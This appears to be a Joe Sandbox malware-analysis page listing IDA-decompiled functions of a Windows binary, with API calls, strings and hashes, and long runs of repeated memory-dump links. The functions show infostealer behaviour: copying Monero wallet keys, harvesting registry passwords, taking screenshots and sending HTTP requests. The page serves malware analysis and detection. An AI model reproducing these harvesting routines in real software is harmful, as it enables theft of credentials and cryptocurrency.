Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: Internet$??2@CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3074848878-2509457195
Opcode ID: 15cb32ed8b02a90777aeb0bb946a1bd936cd1331907ed11484d3f5ae983093a9
Instruction ID: 061133d1ec583f132332d8f0fa9aa40673a02f10ee35f7bfe7bb06caba4b6d53
Opcode Fuzzy Hash: 15cb32ed8b02a90777aeb0bb946a1bd936cd1331907ed11484d3f5ae983093a9
Instruction Fuzzy Hash: 68715071A10218EBEB14EFA0DC49FEE77B4FB44700F108199F50A6B191DBB86A85CF52

Function 00735510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0073A820: lstrlenA.KERNEL32(00000000,?,?,00735B54,00740ADB,00740ADA,?,?,00736B16,00000000,?,015F14B8,?,0074110C,?,00000000), ref: 0073A82B
Part of subcall function 0073A820: lstrcpy.KERNEL32(t,00000000), ref: 0073A885

Part of subcall function 0073A740: lstrcpy.KERNEL32(t,00000000), ref: 0073A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00735644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 007356A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00735857

Part of subcall function 0073A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0073A7E6

Part of subcall function 007351F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00735228

Part of subcall function 0073A8A0: lstrcpy.KERNEL32(?,t), ref: 0073A905

Part of subcall function 007352C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00735318
Part of subcall function 007352C0: lstrlenA.KERNEL32(00000000), ref: 0073532F
Part of subcall function 007352C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00735364
Part of subcall function 007352C0: lstrlenA.KERNEL32(00000000), ref: 00735383
Part of subcall function 007352C0: strtok.MSVCRT(00000000,?), ref: 0073539E
Part of subcall function 007352C0: lstrlenA.KERNEL32(00000000), ref: 007353AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0073578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00735940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00735A0C
Sleep.KERNEL32(0000EA60), ref: 00735A1B

Strings

ERROR, xrefs: 0073577D
ERROR, xrefs: 00735849
ERROR, xrefs: 00735636
ERROR, xrefs: 007359FE
ERROR, xrefs: 00735932
ERROR, xrefs: 00735693

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleepstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3630751533-2791005934
Opcode ID: 249f181f8d74c3117c08d53c24d00a197e0a41a85b77a034df4d66b824b67462
Instruction ID: d12f0485ef44fc4ddd76ff585e6bc94589ab5ad75c3b6a10487b2c06bad8331e
Opcode Fuzzy Hash: 249f181f8d74c3117c08d53c24d00a197e0a41a85b77a034df4d66b824b67462
Instruction Fuzzy Hash: 92E11F72910108FAEB15FBA0DC9BAED7378AF54300F508168F54666193EF7C6B09DB92

Function 00739010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 0073906C

Strings

image/jpeg, xrefs: 00739136

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 882a0cb1ddf345c2001b3925efc32369fc82c4a54c3ad86b8b238865796a84ec
Instruction ID: 5bea722974f8be86c61288fdc72d083ca030b64680c0be802039fe600fcee484
Opcode Fuzzy Hash: 882a0cb1ddf345c2001b3925efc32369fc82c4a54c3ad86b8b238865796a84ec
Instruction Fuzzy Hash: EE71DAB1914208EBDB04EBE4DC99FEEB7B9BF48700F108508F615A7291DB78A905DF61

Function 00721310 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00721327

Part of subcall function 007212A0: GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 007212B4
Part of subcall function 007212A0: HeapAlloc.KERNEL32(00000000), ref: 007212BB
Part of subcall function 007212A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 007212D7
Part of subcall function 007212A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 007212F5
Part of subcall function 007212A0: RegCloseKey.ADVAPI32(?), ref: 007212FF

lstrcatA.KERNEL32(?,00000000), ref: 0072134F
lstrlenA.KERNEL32(?), ref: 0072135C
lstrcatA.KERNEL32(?,.keys), ref: 00721377

Part of subcall function 0073A740: lstrcpy.KERNEL32(t,00000000), ref: 0073A788

Part of subcall function 0073A9B0: lstrlenA.KERNEL32(?,00741110,?,00000000,00740AEF), ref: 0073A9C5
Part of subcall function 0073A9B0: lstrcpy.KERNEL32(00000000), ref: 0073AA04
Part of subcall function 0073A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0073AA12

Part of subcall function 0073A8A0: lstrcpy.KERNEL32(?,t), ref: 0073A905

Part of subcall function 00738B60: GetSystemTime.KERNEL32(?,015F4B68,007405AE,?,?,?,?,?,?,?,?,?,00724963,?,00000014), ref: 00738B86

Part of subcall function 0073A920: lstrcpy.KERNEL32(00000000,?), ref: 0073A972
Part of subcall function 0073A920: lstrcatA.KERNEL32(00000000), ref: 0073A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00721465

Part of subcall function 0073A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0073A7E6

Part of subcall function 007299C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 007299EC
Part of subcall function 007299C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00729A11
Part of subcall function 007299C0: LocalAlloc.KERNEL32(00000040,?), ref: 00729A31
Part of subcall function 007299C0: ReadFile.KERNEL32(000000FF,?,00000000,007302E7,00000000), ref: 00729A5A
Part of subcall function 007299C0: LocalFree.KERNEL32(007302E7), ref: 00729A90
Part of subcall function 007299C0: CloseHandle.KERNEL32(000000FF), ref: 00729A9A

DeleteFileA.KERNEL32(00000000), ref: 007214EF
memset.MSVCRT ref: 00721516

Strings

.keys, xrefs: 0072136B
wallet_path, xrefs: 00721330
\Monero\wallet.keys, xrefs: 0072138D
SOFTWARE\monero-project\monero-core, xrefs: 00721335

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$AllocCloseHeapLocallstrlenmemset$CopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 1930502592-218353709
Opcode ID: d71f06b9a31a88e85e9393568c8737faeba541cac15d0b6f5d7cc3410d711498
Instruction ID: 0b38c2427bf275bc190a19f9cc82e1e7a93556c7933f8c3a7cd390b67503edf0
Opcode Fuzzy Hash: d71f06b9a31a88e85e9393568c8737faeba541cac15d0b6f5d7cc3410d711498
Instruction Fuzzy Hash: 365154B1D10118E7DB15FB60DD96BED737CAF54300F4041A8B64A62082EF786B89CFA6

Function 007370D0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 136COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00064000), ref: 007370DE

Part of subcall function 0073A740: lstrcpy.KERNEL32(t,00000000), ref: 0073A788

OpenProcess.KERNEL32(001FFFFF,00000000,0073730D,007405BD), ref: 0073711C
memset.MSVCRT ref: 0073716A
??_V@YAXPAX@Z.MSVCRT(?), ref: 007372BE

Strings

ss, xrefs: 007372AE, 00737179, 0073717C
ss, xrefs: 00737111
65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0073718C

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: OpenProcesslstrcpymemset
String ID: ss$ss$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 224852652-2308501281
Opcode ID: cf2f6eec2644edf7802ab2fd61b3d992eb0895707733086ae2ebec43581e9eed
Instruction ID: 1fe133d1987716d6bc414683f99c4591a60d325366c2280dc066a76d4412132a
Opcode Fuzzy Hash: cf2f6eec2644edf7802ab2fd61b3d992eb0895707733086ae2ebec43581e9eed
Instruction Fuzzy Hash: A45172B1D04219EBEB28EB90DC95BEEB374AF44300F1040A8E21566182EB786E88CF55

Function 007275D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 007272D0: memset.MSVCRT ref: 00727314
Part of subcall function 007272D0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,00727C90), ref: 0072733A
Part of subcall function 007272D0: RegEnumValueA.ADVAPI32(00727C90,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 007273B1
Part of subcall function 007272D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0072740D
Part of subcall function 007272D0: GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00727C90,80000001,007361C4,?,?,?,?,?,00727C90,?), ref: 00727452
Part of subcall function 007272D0: HeapFree.KERNEL32(00000000,?,?,?,?,00727C90,80000001,007361C4,?,?,?,?,?,00727C90,?), ref: 00727459

lstrcatA.KERNEL32(2DD1E020,007417FC,00727C90,80000001,007361C4,?,?,?,?,?,00727C90,?,?,007361C4), ref: 00727606
lstrcatA.KERNEL32(2DD1E020,00000000,00000000), ref: 00727648
lstrcatA.KERNEL32(2DD1E020, : ), ref: 0072765A
lstrcatA.KERNEL32(2DD1E020,00000000,00000000,00000000), ref: 0072768F
lstrcatA.KERNEL32(2DD1E020,00741804), ref: 007276A0
lstrcatA.KERNEL32(2DD1E020,00000000,00000000,00000000), ref: 007276D3
lstrcatA.KERNEL32(2DD1E020,00741808), ref: 007276ED
task.LIBCPMTD ref: 007276FB

Strings

: , xrefs: 0072764E

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: 16c37801d2da7650eb039736334c174949176b98d043189b2712f7692224bc11
Instruction ID: 2f8ab16064f59808b28580d7b7c3cbd2e4a7071bc5994589a7152bba0c220eb7
Opcode Fuzzy Hash: 16c37801d2da7650eb039736334c174949176b98d043189b2712f7692224bc11
Instruction Fuzzy Hash: 05318E72915109DFCB08EBB4ED8ADFE77B8BB44301B14401CF102B72A1DA79A942DF62

Function 007272D0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00727314
RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,00727C90), ref: 0072733A
RegEnumValueA.ADVAPI32(00727C90,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 007273B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0072740D
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00727C90,80000001,007361C4,?,?,?,?,?,00727C90,?), ref: 00727452
HeapFree.KERNEL32(00000000,?,?,?,?,00727C90,80000001,007361C4,?,?,?,?,?,00727C90,?), ref: 00727459

Part of subcall function 00729240: vsprintf_s.MSVCRT ref: 0072925B

task.LIBCPMTD ref: 00727555

Strings

Password, xrefs: 00727401

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettaskvsprintf_s
String ID: Password
API String ID: 2698061284-3434357891
Opcode ID: 6062739348403c8b3ef9f1024b4195c9765ad867f46346d489d124ec17bdab8f
Instruction ID: 736111324fd5784f91222930cbf91dc3a8ec6e756908ce86352041001021509b
Opcode Fuzzy Hash: 6062739348403c8b3ef9f1024b4195c9765ad867f46346d489d124ec17bdab8f
Instruction Fuzzy Hash: 116129B5D04268DBDB24DB50DD45FDAB7B8BF48300F0081E9E689A6141DBB46BC9CFA1

Function 00737500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00737542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0073757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00737603
HeapAlloc.KERNEL32(00000000), ref: 0073760A
wsprintfA.USER32 ref: 00737640

Part of subcall function 0073A740: lstrcpy.KERNEL32(t,00000000), ref: 0073A788

Strings

\, xrefs: 00737560
C, xrefs: 0073754C
:, xrefs: 0073755C

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
